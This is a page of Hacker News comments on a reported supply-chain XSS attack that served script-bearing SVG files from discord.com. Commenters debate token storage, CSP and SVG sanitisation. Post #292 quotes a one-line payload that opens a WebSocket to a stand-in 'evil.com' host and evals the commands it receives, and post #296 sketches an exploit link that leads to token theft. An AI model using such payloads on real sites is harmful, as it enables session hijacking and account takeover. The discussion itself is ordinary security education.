Live data from Hacker News

We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

gist.github.com

291–300 of 453 posts

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#291

Earlier quoted context omitted.

Doesn't stealing the cookies/token require a non-HTTP-only session cookie or a token in localstorage? Do you know that Discord puts their secrets in one of those insecure places, or was it just a guess? I believe if you always keep session cookies in secure, HTTP-only cookies, then you are more resilient to this attack. I interviewed frontend devs last year and was shocked how few knew about this stuff.

Discord puts the authentication token in local storage

Is that a problem on its own? It's like, encrypted right? Maybe a time sensitive token?

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#292

Earlier quoted context omitted.

> Show me where you can "open a tunnel" using the XSS in this post. new WebSocket("ws://evil.com").addEventListener("message", e => eval(e.data)) > You seem to have multiple fundamental misunderstandings about web application security Lol yeah sure buddy

Go to Discord and paste that into your console. None of us will hold it against you if you come back and delete these comments once you learn about Content Security Policy.

Maybe you should read up on what CSP can and can't do. Once an attacker can execute arbitrary code, they can do anything the client can.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#293
post #261

Earlier quoted context omitted.

Really? Tell me a story about someone selling an XSS vulnerability on Telegram. ("The CVSS chart"?) Moments later Why do people keep bringing up "Zerodium" as if it's a thing?

I understand your perspective about the technical value of an exploit, but I disagree with the concept that technical value = market value. There are unorganized buyers who may be interested if they see potential to weaponize it. In reality, if you want to maximize revenue, yes, you need to organize your own heist (if that's what you meant)

Do you know this or do you just think it should be true?

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#295

Earlier quoted context omitted.

is santizing SVGs hard, or just everyone forgets they can contain js?

User name checks out.

I believe the username is from the AI simulation of HN in 10 years.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#296

This is a pretty scary exploit, considering how easily it could be abused. Imagine just one link in a tweet, support ticket, or email: https://discord.com/_mintlify/static/evil/exploit.svg . If you click it, JavaScript runs on the discord.com origin. Here's what could happen: - Your Discord session cookies and token could be stolen, leading to a complete account takeover. - read/write your developer applications & we…

Doesn't stealing the cookies/token require a non-HTTP-only session cookie or a token in localstorage? Do you know that Discord puts their secrets in one of those insecure places, or was it just a guess? I believe if you always keep session cookies in secure, HTTP-only cookies, then you are more resilient to this attack. I interviewed frontend devs last year and was shocked how few knew about this stuff.

As a FE dev, I wouldn't be able to articulate what you just did in the way you did, but it is something I know in practice, just from experience. I don't think any of the FE courses I took tackled anything like that.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#297
post #5

The fact that SVG files can contain scripts was a bit of a mistake. On one hand, the animations and entire interactive demos and even games in a single SVG are cool. But on the other hand, it opens up a serious can of worms of security vulnerabilities. As a result, SVG files are often banned from various image upload tools, they do not unfurl previews, and so on. If you upload an SVG to discord, it just shows the raw…

IIUC, an untrusted inline SVG is bad. An image tag pointing to an SVG is not.

     
      
I feel like this is common knowledge. Just like you don't inject untrusted HTML into your page. Untrusted HTML also has scripts. You either sanitize it. OR you just don't allow it in the first place. SVG is, at this point, effectively more HTML tags.

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#298
post #291

Earlier quoted context omitted.

Discord puts the authentication token in local storage

Is that a problem on its own? It's like, encrypted right? Maybe a time sensitive token?

Depends on the token; JWTs usually have payloads that are only base64 encoded. As well, if there's a refresh token in there it can be used to generate more tokens until invalidated (assuming invalidation is built in).

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#299
post #32

Earlier quoted context omitted.

"The script doesn't run unless the file is directly opened (you can't run scripts from ( )."

It will run if its in an tag.

So if you're directly embedding the thing. This is a somewhat rare use case, should not be banned almost anywhere...

Re: We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

#300
post #5

The fact that SVG files can contain scripts was a bit of a mistake. On one hand, the animations and entire interactive demos and even games in a single SVG are cool. But on the other hand, it opens up a serious can of worms of security vulnerabilities. As a result, SVG files are often banned from various image upload tools, they do not unfurl previews, and so on. If you upload an SVG to discord, it just shows the raw…

IMO, the bigger problem with SVGs as an image format is that different software often renders them (very) differently! It's a class of problem that raster image formats basically don't have.

> It's a class of problem that raster image formats basically don't have.

That took way too long to be this way. Some old browsers couldn't even get the colors of PNGs correct, let alone the transparency.

Post reply on HN